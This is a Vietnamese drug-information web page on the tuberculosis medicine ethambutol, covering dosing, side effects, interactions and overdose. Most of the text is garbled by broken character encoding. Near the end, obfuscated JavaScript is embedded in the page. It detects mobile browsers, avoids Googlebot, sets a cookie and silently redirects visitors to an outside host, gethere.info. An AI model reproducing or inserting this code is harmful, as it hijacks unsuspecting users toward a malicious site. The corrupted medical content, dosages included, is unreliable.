ETHAMBUTOL Cha��ng Mycobacterium.

ETHAMBUTOL Chống Mycobacterium.

Tracuuthuoctay chia sa?� bA�i via??tA� ETHAMBUTOL Cha��ng Mycobacterium.lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c ETHAMBUTOL . Ethambutol A�?�a�?c cha�� A�a��nh A�a�? A�ia�?u tra�� ca?? lao ma��i vA� lao tA?i phA?t vA� bao gia�? cA�ng pha??i dA?ng pha��i ha�?p va��i cA?c thua��c cha��ng lao khA?c nh?� isoniazid, rifampicin, streptomycin vA� pyrazinamid A�a�? ngA?n cha?�n phA?t tria�?n khA?ng thua��c.

ETHAMBUTOL Cha��ng Mycobacterium.

TA?n chung qua��c ta??: Ethambutol.

MA? ATC: J04A K02.

Loa??i thua��c: Cha��ng Mycobacterium.

GiA? thua��c ETHAMBUTOL : BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

ViA?n nA�n 100 mg vA� 400 mg ethambutol hydroclorid.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

Ethambutol lA� thua��c cha��ng lao ta��ng ha�?p cA? tA?c da�?ng kA�m khua?�n. Ga?�n nh?� ta??t ca?? cA?c cha��ng Mycobacterium tuberculosis, M. kansasii vA� ma��t sa�� cha��ng M. avium A�a�?u nha??y ca??m va��i ethambutol. Thua��c cA�ng a��c cha?? sa�� phA?t tria�?n ca��a ha?�u ha??t cA?c cha��ng vi khua?�n lao khA?ng isoniazid vA� streptomycin. Na��ng A�a�� a��c cha?? ta��i thia�?u in vitro A�a��i va��i vi khua?�n lao bA�nh th?�a�?ng ta�� 1 – 8 microgam/ml, tA?y theo mA?i tr?�a�?ng nuA?i ca??y. Vi khua?�n lao khA?ng thua��c phA?t tria�?n ra??t nhanh, na??u dA?ng ethambutol A�??n A�a��c. VA� va?�y khA?ng bao gia�? A�?�a�?c dA?ng ethambutol A�??n A�a��c A�a�? A�ia�?u tra�� ba��nh lao mA� pha??i dA?ng pha��i ha�?p va��i cA?c thua��c cha��ng lao khA?c theo h?�a��ng da?�n

A�ia�?u tra�� ca��a Ta�� cha��c y ta?? tha?? gia��i. a�z Via��t Nam, nA?m 1997 ta�� la�� khA?ng ethambutol xa??p xa�� 1,1%.

C?? cha?? tA?c da�?ng ca��a ethambutol lA� a��c cha?? acid mycolic thA?m nha?�p vA�o trong thA�nh ta?? bA�o vi khua?�n lao. NgoA�i ra, thua��c cA?n kA�m hA?m sa�� nhA?n lA?n ca��a vi khua?�n ba?�ng cA?ch ngA?n ca??n ta��ng ha�?p RNA.

D?�a�?c A�a��ng ha�?c

Lia�?u: 25 mg/kg trong 8 tua?�n A�a?�u vA� 15 mg/kg cho tha�?i gian tia??p theo.

Ethambutol A�?�a�?c ha??p thu nhanh (75 – 80%) qua A�?�a�?ng tiA?u hA?a. Sau khi ua��ng lia�?u A�??n 25 mg/kg tha�? tra�?ng A�?�a�?c 2 – 4 gia�? thA� A�a??t na��ng A�a��

A�a��nh trong huya??t thanh lA� 5 microgam/ml vA� sau 24 gia�? khA?ng cA?n phA?t hia��n A�?�a�?c na��ng A�a�� thua��c trong huya??t thanh. Thua��c phA?n ba�� vA�o ta??t ca?? cA?c mA?, bao ga��m ca?? pha��i, tha?�n vA� ha��ng ca?�u. Thua��c vA�o da��ch nA?o ta��y khi mA�ng nA?o ba�� viA?m, thua��c cA�ng qua nhau thai vA� vA�o sa�?a ma??. Tha�? tA�ch phA?n ba�� Vd = 1,6 lA�t/kg. Na��a A�a�?i tha??i tra�� ca��a thua��c sau khi ua��ng lA� 3 – 4 gia�? vA� cA? tha�? kA�o dA�i A�a??n 8 gia�? na??u suy tha?�n. Ethambutol chuya�?n hA?a 1 pha?�n a�Y gan ba?�ng quA? trA�nh hydroxyl hA?a, ta??o thA�nh da?�n cha??t aldehyd vA� acid dicarboxylic. Ethambutol tha??i tra�� qua n?�a��c tia�?u ta��i 80% trong vA?ng 24 gia�? (khoa??ng 50% a�Y da??ng khA?ng chuya�?n hA?a vA� 15% a�Y da??ng chuya�?n hA?a khA?ng cA? hoa??t tA�nh). Loa??i tra�� A�?�a�?c ethambutol ba?�ng tha?�m phA?n phA?c ma??c vA� a�Y ma��c A�a�� A�t h??n ba?�ng tha?�m phA?n tha?�n nhA?n ta??o.

Cha�� A�a��nh thua��cA�ETHAMBUTOL

Ethambutol A�?�a�?c cha�� A�a��nh A�a�? A�ia�?u tra�� ca?? lao ma��i vA� lao tA?i phA?t vA� bao gia�? cA�ng pha??i dA?ng pha��i ha�?p va��i cA?c thua��c cha��ng lao khA?c nh?� isoniazid, rifampicin, streptomycin vA� pyrazinamid A�a�? ngA?n cha?�n phA?t tria�?n khA?ng thua��c.

Cha��ng cha�� A�a��nh

Ng?�a�?i ba��nh viA?m dA?y tha?�n kinh tha�� giA?c vA� ng?�a�?i cA? tia�?n sa�� quA? ma?�n ca??m va��i ethambutol.

Tha?�n tra�?ng

Va��i ng?�a�?i ba��nh gia??m cha��c nA?ng tha?�n pha??i gia??m lia�?u, da��a vA�o na��ng A�a�� ethambutol trong huya??t thanh.

Tha?�n tra�?ng va��i ng?�a�?i cA? ba��nh a�Y ma??t (nh?� A�a�?c tha��y tinh tha�?, cA?c tA�nh tra??ng tA?i phA?t viA?m ma??t, ba��nh lA? vA�ng ma??c do A�A?i thA?o A�?�a�?ng), ng?�a�?i giA� vA� tra?� em, nha??t lA� tra?� em d?�a��i 6 tua��i vA� khA? phA?t hia��n vA� A�A?nh giA? cA?c bia??n A�a��i va�? cha��c nA?ng tha�� giA?c.

Tha�?i ka�? mang thai

Ma?�c dA? ethambutol qua A�?�a�?c nhau thai nh?�ng ch?�a cA? nguy c?? nA�o A�?�a�?c thA?ng bA?o vA� dA?ng thua��c trong tha�?i ka�? mang thai.

Tha�?i ka�? cho con bA?

KhA?ng dA?ng cho tra?� nha�? vA� tra?� khA?ng tha�? cho bia??t ra��i loa??n tha�� giA?c.

TA?c da�?ng khA?ng mong mua��n (ADR)

Ethambutol ra??t A�t gA?y cA?c ADR. Lia�?u hA�ng ngA�y 25 mg/kg tha�? tra�?ng gA?y

A�a��c ra??t A�t (d?�a��i 2% ng?�a�?i ba��nh cA? ADR. Cha�� ya??u th?�a�?ng ga?�p ADR a�Y ng?�a�?i ba��nh dA?ng lia�?u trA?n 25 mg/kg tha�? tra�?ng/ngA�y.

Th?�a�?ng ga?�p, ADR > 1/100

TA?ng acid uric mA?u nha??t lA� trong 2 tua?�n A�a?�u. CA? tha�? cA? sa��t, A�au kha��p.

A?t ga?�p, 1/1000 < ADR < 1/100

Ma??t: ViA?m dA?y tha?�n kinh tha�� giA?c, gia??m tha�� la��c vA� khA?ng phA?n bia��t A�?�a�?c mA�u A�a�? va��i mA�u xanh lA? cA?y.

Hia??m ga?�p, ADR < 1/1000

ToA�n thA?n: A?au A�a?�u, sa��t, A�au kha��p vA� cA?c pha??n a��ng da.

MA?u: Gia??m ba??ch ca?�u, gia??m tia�?u ca?�u.

TiA?u hA?a: Bua��n nA?n, nA?n, chA?n A?n, A�au ba�?ng.

ViA?m gan, quA? ma?�n ngoA�i da, viA?m tha?�n kinh ngoa??i vi (ra??t A�t ga?�p).

H?�a��ng da?�n cA?ch xa�� trA� ADR

ViA?m dA?y tha?�n kinh tha�� giA?c sau nhA?n ca?�u th?�a�?ng pha�? thua��c lia�?u, hay ga?�p khi ng?�a�?i ba��nh dA?ng lia�?u > 25 mg/kg tha�? tra�?ng sau 2 thA?ng A�ia�?u tra��. Tuy nhiA?n viA?m dA?y tha?�n kinh tha�� giA?c cA�ng cA? tha�? ga?�p cha�� sau vA�i ngA�y A�ia�?u tra��. NA?i chung ADR th?�a�?ng ma??t A�i khi nga��ng thua��c, nh?�ng A�ngoa??i la�� cA�ng cA? ma��t sa�� ra??t A�t tr?�a�?ng ha�?p kA�o dA�i A�a??n 1 nA?m hoa?�c h??n A�na�?a, tha?�m chA� nha�?ng tr?�a�?ng ha�?p nA�y cA? tha�? khA?ng ha��i pha�?c. Bia??n A�a��i tha��

giA?c cA? tha�? xa??y ra a�Y ma��t bA?n hoa?�c ca?? hai bA?n ma??t. VA� va?�y trong tha�?i gian dA?ng thua��c pha??i kia�?m tra cha��c nA?ng nhA�n ca��a ta��ng bA?n ma??t vA� ca?? hai ma??t. DA?ng hydroxocobalamin vA� cyanocobalamin A�a�? A�ia�?u tra�� ma??t tha�� la��c kA�o dA�i cA? ka??t qua?? tha??t th?�a�?ng.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

Thua��c cA? tha�? ua��ng cA?ng va��i tha��c A?n, na??u ba�� kA�ch a��ng A�?�a�?ng tiA?u hA?a.

Na??u ua��ng lia�?u thua��c hA�ng ngA�y chia lA�m nhia�?u la?�n, sa?? khA?ng A�a??t na��ng A�a�� A�ia�?u tra�� trong huya??t thanh, vA� va?�y, pha??i ua��ng ethambutol ma��t la?�n duy nha??t trong ngA�y.

DA?ng A�ia�?u tra�� ba��nh lao, pha��i ha�?p va��i cA?c thua��c cha��ng lao khA?c nh?� isoniazid, rifampicin, streptomycin vA� pyrazinamid theo phA?c A�a�� A�ia�?u tra��

A�a�? trA?nh phA?t tria�?n khA?ng thua��c.

Lia�?u th?�a�?ng dA?ng cho ng?�a�?i la��n vA� tra?� em ta�� 6 tua��i tra�Y lA?n.

HA�ng ngA�y: 15 mg/kg tha�? tra�?ng, ua��ng 1 la?�n; hoa?�c lia�?u cA?ch quA?ng, 30 mg/kg tha�? tra�?ng, tua?�n dA?ng 3 la?�n, hoa?�c 45 mg/kg tha�? tra�?ng, tua?�n dA?ng 2 la?�n.

Ng?�a�?i ba��nh suy tha?�n:

Lia�?u vA� sa�� la?�n dA?ng thua��c ca?�n gia??m tA?y theo ma��c A�a�� suy tha?�n. Ma��t sa�� nhA� lA?m sA�ng ga�?i A? ra?�ng, na??u A�a�� thanh tha??i creatinin ta�� 70 – 100 ml/phA?t thA� dA?ng lia�?u khA?ng quA? 15 mg/kg tha�? tra�?ng/ngA�y. Na??u A�a�� thanh tha??i < 70 ml/phA?t thA� lia�?u dA?ng pha??i gia??m h??n na�?a. Ma��t sa�� nhA� lA?m sA�ng khA?c la??i ga�?i A? ra?�ng, khoa??ng cA?ch gia�?a cA?c lia�?u th?�a�?ng dA?ng pha??i cA?ch nhau ta�� 24 – 36 gia�? na??u ng?�a�?i ba��nh cA? A�a�� thanh tha??i creatinin ta�� 10 – 50 ml/phA?t, vA� cA?ch 48 gia�? na??u A�a�� thanh tha??i d?�a��i 10 ml/phA?t.

T?�??ng tA?c thua��c

Va��i isoniazid vA� cA?c thua��c A�a��c tha?�n kinh khA?c (thA� da�? disulfiram, cloroquin, hydralazin…): DA?ng A�a��ng tha�?i ethambutol va��i cA?c thua��c A�A? cA? tha�? tA?ng nguy c?? A�a��c tha?�n kinh, nh?� viA?m dA?y tha?�n kinh tha�� giA?c vA� ngoa??i biA?n.

Va��i cA?c antacid: NhA?m hydroxyd lA�m gia??m ha??p thu ethambutol a�Y ma��t sa�� ng?�a�?i ba��nh.

A?a�� a��n A�a��nh vA� ba??o qua??n

Da??ng viA?n nA�n ethambutol hydroclorid pha??i ba??o qua??n trA?nh A?nh sA?ng, A�a?�c bia��t trA?nh a?�m, A�a��ng trong la�? nA?t kA�n a�Y nhia��t A�a�� ta�� 15 – 300C.

QuA? lia�?u vA� xa�� trA�

Da??u hia��u vA� tria��u cha��ng: KhA?ng tha??y da??u hia��u nga�� A�a��c ca??p va��i lia�?u dA?ng bA�nh th?�a�?ng. Nga�� A�a��c ca??p th?�a�?ng xa??y ra khi dA?ng lia�?u cao h??n 10 g va��i cA?c tria��u cha��ng th?�a�?ng ga?�p nh?�: bua��n nA?n, A�au ba�?ng, sa��t, lA? la?�n, a??o giA?c vA� cA?c ba��nh lA? khA?c ca��a tha?�n kinh tha�� giA?c.

Xa�� trA�: Khi nga�� A�a��c ethambutol, pha??i nhanh chA?ng ra��a da?? dA�y vA� tia??n hA�nh tha?�m phA?n tha?�n nhA?n ta??o hoa?�c tha?�m phA?n phA?c ma??c A�a�? gia??m nhanh na��ng A�a�� thua��c trong mA?u.

ThA?ng tin qui cha??

Ethambutol cA? trong danh ma�?c thua��c thia??t ya??u Via��t Nam ban hA�nh la?�n tha�� 4 nA?m 1999.

Thua��c pha??i A�?�a�?c kA? A�??n vA� bA?n theo A�??n.

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��c ETHAMBUTOL Cha��ng Mycobacterium.

ETHAMBUTOL Cha��ng Mycobacterium. ETHAMBUTOL Cha��ng Mycobacterium. ETHAMBUTOL Cha��ng Mycobacterium.

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t ETHAMBUTOL Cha��ng Mycobacterium., chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

One thought on “ETHAMBUTOL Cha��ng Mycobacterium.

  1. Huỳnh Kiều says:

    Tracuuthuoctay chia sẻ bài viết  ETHAMBUTOL Chống Mycobacterium.là gì? giá thuốc bao nhiêu? chỉ định, cách sử dụng, tác dụng phụ thuốc ETHAMBUTOL . Ethambutol được chỉ định để điều trị cả lao mới và lao tái phát và bao giờ cũng phải dùng phối hợp với các thuốc chống lao khác như isoniazid, rifampicin, streptomycin và pyrazinamid để ngăn chặn phát triển kháng thuốc.
    #ETHAMBUTOL , #thuocETHAMBUTOL #tracuuthuoctay, #yduoc, #nhathuoc

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Facebook Comments

%d bloggers like this: